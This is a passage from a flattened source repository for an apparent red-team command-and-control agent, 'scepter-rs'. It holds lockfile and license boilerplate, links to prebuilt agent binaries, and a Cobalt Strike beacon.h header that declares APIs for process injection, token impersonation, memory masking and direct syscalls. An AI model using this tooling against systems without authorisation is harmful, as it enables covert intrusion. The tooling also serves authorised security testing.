"registry+https://github.com/rust-lang/crates.io-index" 1811 | checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" 1812 | 1813 | [[package]] 1814 | name = "windows_aarch64_msvc" 1815 | version = "0.52.6" 1816 | source = "registry+https://github.com/rust-lang/crates.io-index" 1817 | checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" 1818 | 1819 | [[package]] 1820 | name = "windows_i686_gnu" 1821 | version = "0.52.6" 1822 | source = "registry+https://github.com/rust-lang/crates.io-index" 1823 | checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" 1824 | 1825 | [[package]] 1826 | name = "windows_i686_gnullvm" 1827 | version = "0.52.6" 1828 | source = "registry+https://github.com/rust-lang/crates.io-index" 1829 | checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" 1830 | 1831 | [[package]] 1832 | name = "windows_i686_msvc" 1833 | version = "0.52.6" 1834 | source = "registry+https://github.com/rust-lang/crates.io-index" 1835 | checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" 1836 | 1837 | [[package]] 1838 | name = "windows_x86_64_gnu" 1839 | version = "0.52.6" 1840 | source = "registry+https://github.com/rust-lang/crates.io-index" 1841 | checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" 1842 | 1843 | [[package]] 1844 | name = "windows_x86_64_gnullvm" 1845 | version = "0.52.6" 1846 | source = "registry+https://github.com/rust-lang/crates.io-index" 1847 | checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" 1848 | 1849 | [[package]] 1850 | name = "windows_x86_64_msvc" 1851 | version = "0.52.6" 1852 | source = "registry+https://github.com/rust-lang/crates.io-index" 1853 | checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" 1854 | 1855 | [[package]] 1856 | name = "xtask" 1857 | version = "0.1.0" 1858 | 1859 | [[package]] 1860 | name = "zerocopy" 1861 | version = "0.8.25" 1862 | source = "registry+https://github.com/rust-lang/crates.io-index" 1863 | checksum = "a1702d9583232ddb9174e01bb7c15a2ab8fb1bc6f227aa1233858c351a3ba0cb" 1864 | dependencies = [ 1865 | "zerocopy-derive", 1866 | ] 1867 | 1868 | [[package]] 1869 | name = "zerocopy-derive" 1870 | version = "0.8.25" 1871 | source = "registry+https://github.com/rust-lang/crates.io-index" 1872 | checksum = "28a6e20d751156648aa063f3800b706ee209a32c0b4d9f24be3d980b01be55ef" 1873 | dependencies = [ 1874 | "proc-macro2", 1875 | "quote", 1876 | "syn", 1877 | ] 1878 | 1879 | [[package]] 1880 | name = "zeroize" 1881 | version = "1.8.1" 1882 | source = "registry+https://github.com/rust-lang/crates.io-index" 1883 | checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" 1884 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "scepter-server", 4 | "scepter-agent", 5 | "scepter-common", 6 | "xtask", 7 | ] 8 | resolver = "3" 9 | 10 | [profile.release] 11 | strip = "symbols" 12 | panic = "abort" 13 | opt-level = "z" 14 | codegen-units = 1 15 | lto = true -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright 2025 Steve S. 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | 204 | To the maximum extent possible, the contents of this repository may also be used under MIT licensing. 205 | 206 | MIT License 207 | 208 | Copyright (c) 2025 Steve S. 209 | 210 | Permission is hereby granted, free of charge, to any person obtaining a copy 211 | of this software and associated documentation files (the "Software"), to deal 212 | in the Software without restriction, including without limitation the rights 213 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 214 | copies of the Software, and to permit persons to whom the Software is 215 | furnished to do so, subject to the following conditions: 216 | 217 | The above copyright notice and this permission notice shall be included in all 218 | copies or substantial portions of the Software. 219 | 220 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 221 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 222 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 223 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 224 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 225 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 226 | SOFTWARE. -------------------------------------------------------------------------------- /bins/aarch64/scepter_agent.apple.aarch64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/aarch64/scepter_agent.apple.aarch64.bin -------------------------------------------------------------------------------- /bins/aarch64/scepter_agent.linux.aarch64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/aarch64/scepter_agent.linux.aarch64.bin -------------------------------------------------------------------------------- /bins/aarch64/scepter_agent.windows.aarch64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/aarch64/scepter_agent.windows.aarch64.dll -------------------------------------------------------------------------------- /bins/aarch64/scepter_agent.windows.aarch64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/aarch64/scepter_agent.windows.aarch64.exe -------------------------------------------------------------------------------- /bins/x64/bof_write_pipe.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/x64/bof_write_pipe.x64.o -------------------------------------------------------------------------------- /bins/x64/scepter_agent.apple.x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/x64/scepter_agent.apple.x64.bin -------------------------------------------------------------------------------- /bins/x64/scepter_agent.linux.x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/x64/scepter_agent.linux.x64.bin -------------------------------------------------------------------------------- /bins/x64/scepter_agent.windows.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/x64/scepter_agent.windows.x64.dll -------------------------------------------------------------------------------- /bins/x64/scepter_agent.windows.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/x64/scepter_agent.windows.x64.exe -------------------------------------------------------------------------------- /bins/x64/scepter_server.shc.windows.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/x64/scepter_server.shc.windows.x64.dll -------------------------------------------------------------------------------- /bins/x64/scepter_server.windows.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xTriboulet/scepter-rs/f31503fa37505d7acd587749952f146c1640a749/bins/x64/scepter_server.windows.x64.dll -------------------------------------------------------------------------------- /bof-write-pipe/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL 21 | * Updated the BEACON_INFO data structure to add new parameters 22 | * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 23 | * 4/25/2024: Added APIs to call Beacon's system call implementation 24 | * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) 25 | * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs 26 | */ 27 | #ifndef _BEACON_H_ 28 | #define _BEACON_H_ 29 | #include 30 | 31 | #ifdef __cplusplus 32 | extern "C" { 33 | #endif // __cplusplus 34 | 35 | /* data API */ 36 | typedef struct { 37 | char * original; /* the original buffer [so we can free it] */ 38 | char * buffer; /* current pointer into our buffer */ 39 | int length; /* remaining length of data */ 40 | int size; /* total size of this buffer */ 41 | } datap; 42 | 43 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 44 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 45 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 46 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 47 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 48 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 49 | 50 | /* format API */ 51 | typedef struct { 52 | char * original; /* the original buffer [so we can free it] */ 53 | char * buffer; /* current pointer into our buffer */ 54 | int length; /* remaining length of data */ 55 | int size; /* total size of this buffer */ 56 | } formatp; 57 | 58 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 59 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 60 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); 61 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); 62 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 63 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 64 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 65 | 66 | /* Output Functions */ 67 | #define CALLBACK_OUTPUT 0x0 68 | #define CALLBACK_OUTPUT_OEM 0x1e 69 | #define CALLBACK_OUTPUT_UTF8 0x20 70 | #define CALLBACK_ERROR 0x0d 71 | #define CALLBACK_CUSTOM 0x1000 72 | #define CALLBACK_CUSTOM_LAST 0x13ff 73 | 74 | 75 | DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); 76 | DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); 77 | 78 | 79 | /* Token Functions */ 80 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 81 | DECLSPEC_IMPORT void BeaconRevertToken(); 82 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 83 | 84 | /* Spawn+Inject Functions */ 85 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 86 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 87 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 88 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 89 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 90 | 91 | /* Utility Functions */ 92 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 93 | 94 | /* Beacon Information */ 95 | /* 96 | * ptr - pointer to the base address of the allocated memory. 97 | * size - the number of bytes allocated for the ptr. 98 | */ 99 | typedef struct { 100 | char * ptr; 101 | size_t size; 102 | } HEAP_RECORD; 103 | #define MASK_SIZE 13 104 | 105 | /* Information the user can set in the USER_DATA via a UDRL */ 106 | typedef enum { 107 | PURPOSE_EMPTY, 108 | PURPOSE_GENERIC_BUFFER, 109 | PURPOSE_BEACON_MEMORY, 110 | PURPOSE_SLEEPMASK_MEMORY, 111 | PURPOSE_BOF_MEMORY, 112 | PURPOSE_USER_DEFINED_MEMORY = 1000 113 | } ALLOCATED_MEMORY_PURPOSE; 114 | 115 | typedef enum { 116 | LABEL_EMPTY, 117 | LABEL_BUFFER, 118 | LABEL_PEHEADER, 119 | LABEL_TEXT, 120 | LABEL_RDATA, 121 | LABEL_DATA, 122 | LABEL_PDATA, 123 | LABEL_RELOC, 124 | LABEL_USER_DEFINED = 1000 125 | } ALLOCATED_MEMORY_LABEL; 126 | 127 | typedef enum { 128 | METHOD_UNKNOWN, 129 | METHOD_VIRTUALALLOC, 130 | METHOD_HEAPALLOC, 131 | METHOD_MODULESTOMP, 132 | METHOD_NTMAPVIEW, 133 | METHOD_USER_DEFINED = 1000, 134 | } ALLOCATED_MEMORY_ALLOCATION_METHOD; 135 | 136 | /** 137 | * This structure allows the user to provide additional information 138 | * about the allocated heap for cleanup. It is mandatory to provide 139 | * the HeapHandle but the DestroyHeap Boolean can be used to indicate 140 | * whether the clean up code should destroy the heap or simply free the pages. 141 | * This is useful in situations where a loader allocates memory in the 142 | * processes current heap. 143 | */ 144 | typedef struct _HEAPALLOC_INFO { 145 | PVOID HeapHandle; 146 | BOOL DestroyHeap; 147 | } HEAPALLOC_INFO, *PHEAPALLOC_INFO; 148 | 149 | typedef struct _MODULESTOMP_INFO { 150 | HMODULE ModuleHandle; 151 | } MODULESTOMP_INFO, *PMODULESTOMP_INFO; 152 | 153 | typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { 154 | HEAPALLOC_INFO HeapAllocInfo; 155 | MODULESTOMP_INFO ModuleStompInfo; 156 | PVOID Custom; 157 | } ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; 158 | 159 | typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { 160 | BOOL Cleanup; 161 | ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; 162 | ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; 163 | } ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; 164 | 165 | typedef struct _ALLOCATED_MEMORY_SECTION { 166 | ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development 167 | PVOID BaseAddress; // Pointer to virtual address of section 168 | SIZE_T VirtualSize; // Virtual size of the section 169 | DWORD CurrentProtect; // Current memory protection of the section 170 | DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) 171 | BOOL MaskSection; // A boolean to indicate whether the section should be masked 172 | } ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; 173 | 174 | typedef struct _ALLOCATED_MEMORY_REGION { 175 | ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory 176 | PVOID AllocationBase; // The base address of the allocated memory block 177 | SIZE_T RegionSize; // The size of the allocated memory block 178 | DWORD Type; // The type of memory allocated 179 | ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures 180 | ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation 181 | } ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; 182 | 183 | typedef struct { 184 | ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; 185 | } ALLOCATED_MEMORY, *PALLOCATED_MEMORY; 186 | 187 | /* 188 | * version - The version of the beacon dll was added for release 4.10 189 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 190 | * e.g. 0x040900 -> CS 4.9 191 | * 0x041000 -> CS 4.10 192 | * 193 | * sleep_mask_ptr - pointer to the sleep mask base address 194 | * sleep_mask_text_size - the sleep mask text section size 195 | * sleep_mask_total_size - the sleep mask total memory size 196 | * 197 | * beacon_ptr - pointer to beacon's base address 198 | * The stage.obfuscate flag affects this value when using CS default loader. 199 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 200 | * false: beacon_ptr = allocated_buffer (A valid address) 201 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 202 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 203 | * heap_records - list of memory addresses on the heap beacon wants to mask. 204 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 205 | * mask - the mask that beacon randomly generated to apply 206 | * 207 | * Added in version 4.10 208 | * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA 209 | * via a UDRL. 210 | */ 211 | typedef struct { 212 | unsigned int version; 213 | char * sleep_mask_ptr; 214 | DWORD sleep_mask_text_size; 215 | DWORD sleep_mask_total_size; 216 | 217 | char * beacon_ptr; 218 | HEAP_RECORD * heap_records; 219 | char mask[MASK_SIZE]; 220 | 221 | ALLOCATED_MEMORY allocatedMemory; 222 | } BEACON_INFO, *PBEACON_INFO; 223 | 224 | DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); 225 | 226 | /* Key/Value store functions 227 | * These functions are used to associate a key to a memory address and save 228 | * that information into beacon. These memory addresses can then be 229 | * retrieved in a subsequent execution of a BOF. 230 | * 231 | * key - the key will be converted to a hash which is used to locate the 232 | * memory address. 233 | * 234 | * ptr - a memory address to save. 235 | * 236 | * Considerations: 237 | * - The contents at the memory address is not masked by beacon. 238 | * - The contents at the memory address is not released by beacon. 239 | * 240 | */ 241 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 242 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 243 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 244 | 245 | /* Beacon Data Store functions 246 | * These functions are used to access items in Beacon's Data Store. 247 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 248 | * 249 | * The contents are masked by default, and BOFs must unprotect the entry 250 | * before accessing the data buffer. BOFs must also protect the entry 251 | * after the data is not used anymore. 252 | * 253 | */ 254 | 255 | #define DATA_STORE_TYPE_EMPTY 0 256 | #define DATA_STORE_TYPE_GENERAL_FILE 1 257 | 258 | typedef struct { 259 | int type; 260 | DWORD64 hash; 261 | BOOL masked; 262 | char* buffer; 263 | size_t length; 264 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 265 | 266 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 267 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 268 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 269 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 270 | 271 | /* Beacon User Data functions */ 272 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 273 | 274 | /* Beacon System call */ 275 | /* Syscalls API */ 276 | typedef struct 277 | { 278 | PVOID fnAddr; 279 | PVOID jmpAddr; 280 | DWORD sysnum; 281 | } SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; 282 | 283 | typedef struct 284 | { 285 | SYSCALL_API_ENTRY ntAllocateVirtualMemory; 286 | SYSCALL_API_ENTRY ntProtectVirtualMemory; 287 | SYSCALL_API_ENTRY ntFreeVirtualMemory; 288 | SYSCALL_API_ENTRY ntGetContextThread; 289 | SYSCALL_API_ENTRY ntSetContextThread; 290 | SYSCALL_API_ENTRY ntResumeThread; 291 | SYSCALL_API_ENTRY ntCreateThreadEx; 292 | SYSCALL_API_ENTRY ntOpenProcess; 293 | SYSCALL_API_ENTRY ntOpenThread; 294 | SYSCALL_API_ENTRY ntClose; 295 | SYSCALL_API_ENTRY ntCreateSection; 296 | SYSCALL_API_ENTRY ntMapViewOfSection; 297 | SYSCALL_API_ENTRY ntUnmapViewOfSection; 298 | SYSCALL_API_ENTRY ntQueryVirtualMemory; 299 | SYSCALL_API_ENTRY ntDuplicateObject; 300 | SYSCALL_API_ENTRY ntReadVirtualMemory; 301 | SYSCALL_API_ENTRY ntWriteVirtualMemory; 302 | SYSCALL_API_ENTRY ntReadFile; 303 | SYSCALL_API_ENTRY ntWriteFile; 304 | SYSCALL_API_ENTRY ntCreateFile; 305 | SYSCALL_API_ENTRY ntQueueApcThread; 306 | SYSCALL_API_ENTRY ntCreateProcess; 307 | SYSCALL_API_ENTRY ntOpenProcessToken; 308 | SYSCALL_API_ENTRY ntTestAlert; 309 | SYSCALL_API_ENTRY ntSuspendProcess; 310 | SYSCALL_API_ENTRY ntResumeProcess; 311 | SYSCALL_API_ENTRY ntQuerySystemInformation; 312 | SYSCALL_API_ENTRY ntQueryDirectoryFile; 313 | SYSCALL_API_ENTRY ntSetInformationProcess; 314 | SYSCALL_API_ENTRY ntSetInformationThread; 315 | SYSCALL_API_ENTRY ntQueryInformationProcess; 316 | SYSCALL_API_ENTRY ntQueryInformationThread; 317 | SYSCALL_API_ENTRY ntOpenSection; 318 | SYSCALL_API_ENTRY ntAdjustPrivilegesToken; 319 | SYSCALL_API_ENTRY ntDeviceIoControlFile; 320 | SYSCALL_API_ENTRY ntWaitForMultipleObjects; 321 | } SYSCALL_API, *PSYSCALL_API; 322 | 323 | /* Additional Run Time Library (RTL) addresses used to support system calls. 324 | * If they are not set then system calls that require them will fall back 325 | * to the Standard Windows API. 326 | * 327 | * Required to support the following system calls: 328 | * ntCreateFile 329 | */ 330 | typedef struct 331 | { 332 | PVOID 